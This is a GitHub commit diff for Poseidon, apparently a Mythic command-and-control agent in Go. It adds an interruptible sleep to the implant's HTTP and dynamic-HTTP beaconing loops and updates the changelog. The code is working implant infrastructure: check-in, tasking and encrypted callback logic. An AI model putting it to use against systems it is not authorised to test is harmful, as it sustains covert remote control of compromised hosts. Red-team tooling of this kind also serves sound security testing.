Skip to content

Commit

Permalink
Updated sleep action in agent and alive check in container
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Nov 15, 2024
1 parent 19bf7a0 commit 49c498a
Show file tree
Hide file tree
Showing 8 changed files with 216 additions and 133 deletions.
8 changes: 8 additions & 0 deletions Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).

## 2.1.11 - 2024-11-15

### Changed

- Refactored the egress profiles to use a custom .Sleep() function that can be interrupted
- this allows changing sleep times to take effect immediately instead of waiting another sleep interval
- Updated the checkAlive function to be more accurate

## 2.1.10 - 2024-11-13

### Changed
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -72,11 +72,12 @@ type C2DynamicHTTP struct {
ExchangingKeys bool
ChunkSize int `json:"chunk_size"`
// internally set pieces
Config C2DynamicHTTPC2Config `json:"config"`
Key string `json:"encryption_key"`
RsaPrivateKey *rsa.PrivateKey
ShouldStop bool
stoppedChannel chan bool
Config C2DynamicHTTPC2Config `json:"config"`
Key string `json:"encryption_key"`
RsaPrivateKey *rsa.PrivateKey
ShouldStop bool
stoppedChannel chan bool
interruptSleepChannel chan bool
}

// New creates a new DynamicHTTP C2 profile from the package's global variables and returns it
Expand All @@ -99,10 +100,11 @@ func init() {
os.Exit(1)
}
profile := C2DynamicHTTP{
Key: initialConfig.AESPSK,
Killdate: killDateTime,
ShouldStop: true,
stoppedChannel: make(chan bool, 1),
Key: initialConfig.AESPSK,
Killdate: killDateTime,
ShouldStop: true,
stoppedChannel: make(chan bool, 1),
interruptSleepChannel: make(chan bool, 1),
}

// Convert sleep from string to integer
Expand Down Expand Up @@ -157,15 +159,15 @@ func (c *C2DynamicHTTP) Start() {
taskResp := structs.MythicMessageResponse{}
if err := json.Unmarshal(resp, &taskResp); err != nil {
utils.PrintDebug(fmt.Sprintf("Error unmarshal response to task response: %s", err.Error()))
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
responses.HandleInboundMythicMessageFromEgressChannel <- taskResp
}
} else {
utils.PrintDebug(fmt.Sprintf("Failed to marshal message: %v\n", err))
}
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
}
} else {
//fmt.Printf("Uh oh, failed to checkin\n")
Expand Down Expand Up @@ -208,6 +210,13 @@ func (c *C2DynamicHTTP) UpdateConfig(parameter string, value string) {
}
}
}
func (c *C2DynamicHTTP) Sleep() {
// wait for either sleep time duration or sleep interrupt
select {
case <-c.interruptSleepChannel:
case <-time.After(time.Second * time.Duration(c.GetSleepTime())):
}
}
func (c *C2DynamicHTTP) GetSleepTime() int {
if c.ShouldStop {
return -1
Expand Down Expand Up @@ -236,6 +245,9 @@ func (c *C2DynamicHTTP) GetKillDate() time.Time {
func (c *C2DynamicHTTP) SetSleepInterval(interval int) string {
if interval >= 0 {
c.Interval = interval
go func() {
c.interruptSleepChannel <- true
}()
return fmt.Sprintf("Sleep interval updated to %ds\n", interval)
} else {
return fmt.Sprintf("Sleep interval not updated, %d is not >= 0", interval)
Expand All @@ -245,6 +257,9 @@ func (c *C2DynamicHTTP) SetSleepInterval(interval int) string {
func (c *C2DynamicHTTP) SetSleepJitter(jitter int) string {
if jitter >= 0 && jitter <= 100 {
c.Jitter = jitter
go func() {
c.interruptSleepChannel <- true
}()
return fmt.Sprintf("Jitter updated to %d%% \n", jitter)
} else {
return fmt.Sprintf("Jitter not updated, %d is not between 0 and 100", jitter)
Expand Down Expand Up @@ -281,7 +296,7 @@ func (c *C2DynamicHTTP) CheckIn() structs.CheckInMessageResponse {
}
checkin := CreateCheckinMessage()
if raw, err := json.Marshal(checkin); err != nil {
time.Sleep(time.Duration(c.GetSleepTime()))
c.Sleep()
continue
} else {
resp := c.SendMessage(raw)
Expand All @@ -290,14 +305,14 @@ func (c *C2DynamicHTTP) CheckIn() structs.CheckInMessageResponse {
response := structs.CheckInMessageResponse{}
if err = json.Unmarshal(resp, &response); err != nil {
utils.PrintDebug(fmt.Sprintf("Error in unmarshal:\n %s", err.Error()))
time.Sleep(time.Duration(c.GetSleepTime()))
c.Sleep()
continue
}
if len(response.ID) != 0 {
SetMythicID(response.ID)
return response
} else {
time.Sleep(time.Duration(c.GetSleepTime()))
c.Sleep()
continue
}
}
Expand Down Expand Up @@ -400,34 +415,34 @@ func (c *C2DynamicHTTP) SendMessage(sendData []byte) []byte {
if err != nil {
utils.PrintDebug(fmt.Sprintf("error client.Do: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
if resp.StatusCode != 200 {
resp.Body.Close()
utils.PrintDebug(fmt.Sprintf("error resp.StatusCode: %v\n", resp.StatusCode))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
raw, err := c.GetDynamicMessageResponse(resp, configUsed)
if err != nil {
utils.PrintDebug(fmt.Sprintf("error getting message response: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
raw, err = base64.StdEncoding.DecodeString(string(raw))
if err != nil {
utils.PrintDebug(fmt.Sprintf("error base64.StdEncoding: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
if len(raw) < 36 {
utils.PrintDebug(fmt.Sprintf("error len(raw) < 36: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
if len(c.Key) != 0 {
Expand All @@ -437,7 +452,7 @@ func (c *C2DynamicHTTP) SendMessage(sendData []byte) []byte {
// failed somehow in decryption
utils.PrintDebug(fmt.Sprintf("error decrypt length wrong: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
} else {
//fmt.Printf("decrypted response: %v\n%v\n", string(raw[:36]), string(enc_raw))
Expand Down
90 changes: 55 additions & 35 deletions Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go
Original file line number Diff line number Diff line change
Expand Up @@ -49,21 +49,22 @@ type HTTPInitialConfig struct {
}

type C2HTTP struct {
BaseURL string `json:"BaseURL"`
PostURI string `json:"PostURI"`
ProxyURL string `json:"ProxyURL"`
ProxyUser string `json:"ProxyUser"`
ProxyPass string `json:"ProxyPass"`
ProxyBypass bool `json:"ProxyBypass"`
Interval int `json:"Interval"`
Jitter int `json:"Jitter"`
HeaderList map[string]string `json:"Headers"`
ExchangingKeys bool
Key string `json:"EncryptionKey"`
RsaPrivateKey *rsa.PrivateKey
Killdate time.Time `json:"KillDate"`
ShouldStop bool
stoppedChannel chan bool
BaseURL string `json:"BaseURL"`
PostURI string `json:"PostURI"`
ProxyURL string `json:"ProxyURL"`
ProxyUser string `json:"ProxyUser"`
ProxyPass string `json:"ProxyPass"`
ProxyBypass bool `json:"ProxyBypass"`
Interval int `json:"Interval"`
Jitter int `json:"Jitter"`
HeaderList map[string]string `json:"Headers"`
ExchangingKeys bool
Key string `json:"EncryptionKey"`
RsaPrivateKey *rsa.PrivateKey
Killdate time.Time `json:"KillDate"`
ShouldStop bool
stoppedChannel chan bool
interruptSleepChannel chan bool
}

// New creates a new HTTP C2 profile from the package's global variables and returns it
Expand Down Expand Up @@ -112,14 +113,15 @@ func init() {
os.Exit(1)
}
profile := C2HTTP{
BaseURL: final_url,
PostURI: initialConfig.PostURI,
ProxyUser: initialConfig.ProxyUser,
ProxyPass: initialConfig.ProxyPass,
Key: initialConfig.AESPSK,
Killdate: killDateTime,
ShouldStop: true,
stoppedChannel: make(chan bool, 1),
BaseURL: final_url,
PostURI: initialConfig.PostURI,
ProxyUser: initialConfig.ProxyUser,
ProxyPass: initialConfig.ProxyPass,
Key: initialConfig.AESPSK,
Killdate: killDateTime,
ShouldStop: true,
stoppedChannel: make(chan bool, 1),
interruptSleepChannel: make(chan bool, 1),
}

// Convert sleep from string to integer
Expand Down Expand Up @@ -153,7 +155,13 @@ func init() {

RegisterAvailableC2Profile(&profile)
}

func (c *C2HTTP) Sleep() {
// wait for either sleep time duration or sleep interrupt
select {
case <-c.interruptSleepChannel:
case <-time.After(time.Second * time.Duration(c.GetSleepTime())):
}
}
func (c *C2HTTP) Start() {
// Checkin with Mythic via an egress channel
// only try to start if we're in a stopped state
Expand Down Expand Up @@ -188,15 +196,15 @@ func (c *C2HTTP) Start() {
taskResp := structs.MythicMessageResponse{}
if err := json.Unmarshal(resp, &taskResp); err != nil {
utils.PrintDebug(fmt.Sprintf("Error unmarshal response to task response: %s", err.Error()))
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
responses.HandleInboundMythicMessageFromEgressChannel <- taskResp
}
} else {
utils.PrintDebug(fmt.Sprintf("Failed to marshal message: %v\n", err))
}
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
}
} else {
//fmt.Printf("Uh oh, failed to checkin\n")
Expand Down Expand Up @@ -232,11 +240,17 @@ func (c *C2HTTP) UpdateConfig(parameter string, value string) {
if err == nil {
c.Interval = newInt
}
go func() {
c.interruptSleepChannel <- true
}()
case "Jitter":
newInt, err := strconv.Atoi(value)
if err == nil {
c.Jitter = newInt
}
go func() {
c.interruptSleepChannel <- true
}()
case "Killdate":
killDateString := fmt.Sprintf("%sT00:00:00.000Z", value)
killDateTime, err := time.Parse("2006-01-02T15:04:05.000Z", killDateString)
Expand Down Expand Up @@ -278,6 +292,9 @@ func (c *C2HTTP) GetSleepTime() int {
func (c *C2HTTP) SetSleepInterval(interval int) string {
if interval >= 0 {
c.Interval = interval
go func() {
c.interruptSleepChannel <- true
}()
return fmt.Sprintf("Sleep interval updated to %ds\n", interval)
} else {
return fmt.Sprintf("Sleep interval not updated, %d is not >= 0", interval)
Expand All @@ -288,6 +305,9 @@ func (c *C2HTTP) SetSleepInterval(interval int) string {
func (c *C2HTTP) SetSleepJitter(jitter int) string {
if jitter >= 0 && jitter <= 100 {
c.Jitter = jitter
go func() {
c.interruptSleepChannel <- true
}()
return fmt.Sprintf("Jitter updated to %d%% \n", jitter)
} else {
return fmt.Sprintf("Jitter not updated, %d is not between 0 and 100", jitter)
Expand Down Expand Up @@ -326,7 +346,7 @@ func (c *C2HTTP) CheckIn() structs.CheckInMessageResponse {
}
checkin := CreateCheckinMessage()
if raw, err := json.Marshal(checkin); err != nil {
time.Sleep(time.Duration(c.GetSleepTime()))
c.Sleep()
continue
} else {
resp := c.SendMessage(raw)
Expand All @@ -335,15 +355,15 @@ func (c *C2HTTP) CheckIn() structs.CheckInMessageResponse {
response := structs.CheckInMessageResponse{}
if err = json.Unmarshal(resp, &response); err != nil {
utils.PrintDebug(fmt.Sprintf("Error in unmarshal:\n %s", err.Error()))
time.Sleep(time.Duration(c.GetSleepTime()))
c.Sleep()
continue
}
if len(response.ID) != 0 {
SetMythicID(response.ID)
SetAllEncryptionKeys(c.Key)
return response
} else {
time.Sleep(time.Duration(c.GetSleepTime()))
c.Sleep()
continue
}
}
Expand Down Expand Up @@ -482,7 +502,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
if err != nil {
utils.PrintDebug(fmt.Sprintf("error client.Do: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
if resp.StatusCode != 200 {
Expand All @@ -492,7 +512,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
utils.PrintDebug(fmt.Sprintf("error failed to close response body: %v\n", err))
}
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
body, err := io.ReadAll(resp.Body)
Expand All @@ -503,7 +523,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
utils.PrintDebug(fmt.Sprintf("error failed to close response body: %v\n", err))
}
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
err = resp.Body.Close()
Expand All @@ -515,13 +535,13 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
if err != nil {
utils.PrintDebug(fmt.Sprintf("error base64.StdEncoding: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
if len(raw) < 36 {
utils.PrintDebug(fmt.Sprintf("error len(raw) < 36: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
}
if len(c.Key) != 0 {
Expand All @@ -531,7 +551,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
// failed somehow in decryption
utils.PrintDebug(fmt.Sprintf("error decrypt length wrong: %v\n", err))
IncrementFailedConnection(c.ProfileName())
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
c.Sleep()
continue
} else {
if i > 0 {
Expand Down
Loading

0 comments on commit 49c498a

Please sign in to comment.